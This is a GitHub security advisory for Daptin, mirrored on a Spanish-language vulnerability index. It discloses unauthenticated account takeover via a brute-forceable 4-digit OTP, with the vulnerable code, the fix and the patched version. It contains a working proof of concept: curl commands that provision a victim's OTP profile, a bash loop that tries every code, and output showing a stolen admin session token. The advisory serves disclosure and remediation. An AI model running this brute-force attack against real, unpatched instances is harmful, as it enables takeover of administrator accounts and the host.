GHSA-MH3X-CV87-PWWW
Unauthenticated account takeover via brute-forceable 4-digit OTP in the send_otp / verify_otp actions
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-MH3X-CV87-PWWW divulgada · CVSS 9.8 (GitHub) | |
| Remediación | Parche v0.12.31 | github.com/daptin/daptin · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Description
Summary
Daptin exposes two guest-executable actions that together let an unauthenticated attacker take over
any account, including the instance administrator. `send_otp` provisions a one-time-password profile
on demand for an arbitrary victim e-mail address — the victim never has to have enrolled in
two-factor authentication. `verify_otp` then accepts an unlimited number of guesses against a
4-digit code that stays valid for roughly 15 minutes, and returns a fully valid session JWT for
the victim on the first correct guess. In testing, the administrator account was taken over in
685 requests over 4 seconds against a default-configured instance.
Details
Three defaults combine to make the flow reachable by an anonymous caller:
- `server/auth/auth.go:71` — `DEFAULT_PERMISSION = GuestPeek | GuestExecute | UserRead | UserExecute | GroupRead | GroupExecute`.
- `server/resource/dbfunctions_update.go:883` — actions without an explicit `Permission` are stored
- `server/resource/columns.go` — the built-in `send_otp` (`OnType: user_otp_account`) and `verify_otp`
`server/resource/dbmethods.go:52` gates action execution on `CanExecute` for both the table and the
action, and both are satisfied for a guest.
The cryptographic parameters are too weak to survive an online attack:
- `server/actions/action_otp_generate.go:88-94`
```go
key, err := totp.Generate(totp.GenerateOpts{
Issuer: "site.daptin.com",
AccountName: userAccount["email"].(string),
Period: 300,
Digits: 4,
SecretSize: 10,
})
```
- `server/actions/action_otp_login_verify.go:87-96`
```go
ok, err = totp.ValidateCustom(state, key, timeInstance, totp.ValidateOpts{
Period: 300,
Skew: 1,
Digits: 4,
Algorithm: otp.AlgorithmSHA1,
})
```
4 decimal digits is a 10,000-value code space. `Period: 300` with `Skew: 1` accepts three
consecutive 300-second windows, so each provisioned code is valid for roughly 15 minutes. There is
no failure counter, no lockout and no per-account throttle anywhere in this path; the generic
per-IP rate limiter did not engage during testing (170–290 req/s sustained).
Two further design choices raise this from "weak second factor" to "full takeover":
- `server/actions/action_otp_generate.go:86-116` — when no `user_otp_account` row exists for the
- `server/actions/action_otp_login_verify.go:139-154` — on success the action returns a
The same `otp.login.verify` performer backs the built-in `reset-password-verify` action
(`server/resource/columns.go`), so a successful guess can also be used to rewrite the victim's
password for persistence.
PoC
Tested against a clean instance built from the tagged source, started with default flags and no
configuration changes:
docker build -t daptin-poc .
docker run -d --name daptin-poc -p 6336:8080 daptin-poc \
-runtime release -port :8080 -db_type sqlite3 -db_connection_string /opt/daptin/daptin.dbProvision an administrator the normal way (`signup`, `signin`, `become_an_administrator`), then run
the attack with no credentials at all:
# 1. provision an OTP profile for the victim — unauthenticated
curl -X POST http://localhost:6336/action/user_otp_account/send_otp \
-H 'Content-Type: application/json' \
-d '{"attributes":{"email":"admin@admin.com","mobile_number":"5550000000"}}'
# 2. brute force the 4-digit code — unauthenticated, unthrottled
for i in $(seq -w 0000 9999); do
curl -s -X POST http://localhost:6336/action/user_account/verify_otp \
-H 'Content-Type: application/json' \
-d "{\"attributes\":{\"email\":\"admin@admin.com\",\"otp\":\"$i\"}}" \
| grep -q client.store.set && echo "valid OTP = $i" && break
doneObserved output from a threaded version of the same loop:
[*] step 1 - provisioning victim OTP profile (unauthenticated)
HTTP 200 []
[*] step 2 - brute forcing the 4-digit OTP (10,000 candidates, 16 threads)
685 attempts in 4s (170 req/s)
[+] ACCOUNT TAKEOVER - valid OTP was 0669 after 685 attempts in 4s
[+] victim session token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoX3ZlcnNpb24iOjEsImVtYWlsIjoi
YWRtaW5AYWRtaW4uY29tIiwiZXhwIjoxNzg1NTEzMjA5LCJpc3MiOiJkYXB0aW4tMDE5ZmE5Iiwi...
[+] token authenticates: GET /api/user_account -> HTTP 200, 4 rowsThe recovered token is a normal Daptin session JWT and authenticates against the API immediately.
Expected work factor is ~5,000 requests; this run needed 685.
Impact
Complete compromise of any account, including administrators, from an unauthenticated network
position, in seconds. The only precondition is knowing a valid e-mail address on the instance.
An administrator session escalates to server compromise: an administrator can create an `action` row
whose outcome type is `command.execute`, and that performer
(`server/actions/action_execute_process.go`, registered at
`server/action_provider/action_provider.go:209`) calls `exec.Command` on the host.
Because the same verification backs `reset-password-verify`, the attacker can also rewrite the
victim's password, locking out the legitimate owner and retaining access after the OTP window closes.
Suggested fix
- Increase the OTP to at least 6 digits and reduce `Period` / `Skew` so a code is valid for at most
- Add a per-account and per-source failure counter with exponential backoff and lockout on
- Make `send_otp` fail closed for accounts that have not enrolled in OTP instead of provisioning a
- Ship `send_otp` and `verify_otp` with an explicit `Permission` that excludes `GuestExecute`, and
Resolution
Fixed on the `master` branch by commit `ec78c185` https://github.com/daptin/daptin/commit/ec78c185 (`harden distributed OTP authentication`).
The remediation:
- adds an explicit `AuthenticatedExecute` permission and removes guest execution from `send_otp`, `verify_otp`, and `verify_mobile_number`;
- requires authenticated account ownership for enrollment, code generation, and authenticated OTP verification;
- prevents signup and `send_otp` from provisioning OTP profiles for arbitrary accounts;
- requires an existing verified OTP profile for login and password recovery;
- changes TOTP to 6 digits, a 120-second period, no adjacent-window skew, and a 20-byte secret;
- enforces atomic Olric limits of 5 attempts per account and 50 per source per 15 minutes across the cluster;
- fails closed when shared OTP protection state is unavailable;
- prevents successful-code replay per account and TOTP period; and
- prevents password-reset OTP verification from issuing a session JWT.
Clean-instance HTTP verification confirmed anonymous denial, owner-only enrollment, enrollment verification, replay rejection, per-account and cross-account source lockout, and owner-bound JWT issuance. Regression and concurrency coverage is included in the fixing commit.
Released in `v0.12.31` https://github.com/daptin/daptin/releases/tag/v0.12.31. Versions before 0.12.31 are affected.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/daptin/daptin |
Corregida | v0.12.31 | 0 d | v0.13.57 no afectada |
0.12.31v0.12.31Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/daptin/daptin/security/advisories/GHSA-mh3x-cv87-pwwwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
